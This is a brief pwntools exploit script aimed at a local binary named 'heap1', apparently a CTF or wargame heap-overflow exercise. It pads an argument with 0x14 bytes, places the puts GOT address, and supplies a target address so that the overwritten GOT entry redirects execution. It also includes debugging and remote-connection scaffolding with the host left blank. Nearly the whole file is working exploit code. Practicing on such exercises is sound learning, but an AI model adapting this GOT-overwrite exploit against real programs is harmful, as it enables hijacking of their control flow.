from pwn import *

e = ELF("./heap1")
#libc = ELF("")

context.log_level = "debug"
context.terminal =["tmux", "split", "-h"]
context.binary = e.path

is_remote = "--remote" in sys.argv

log.info('puts@GOT: ' + str(hex(e.got['puts'])))

if is_remote:
  r = remote("", 1234)
else:
  #env = {"LD_PRELOAD": libc.path}
  r = process([e.path, 'A' * 0x14 + p32(e.got['puts']), p32(0x80484b6)])

def debug():
  if not is_remote:
      gdb.attach(r, 'b *main + 175')

#debug()

r.interactive()
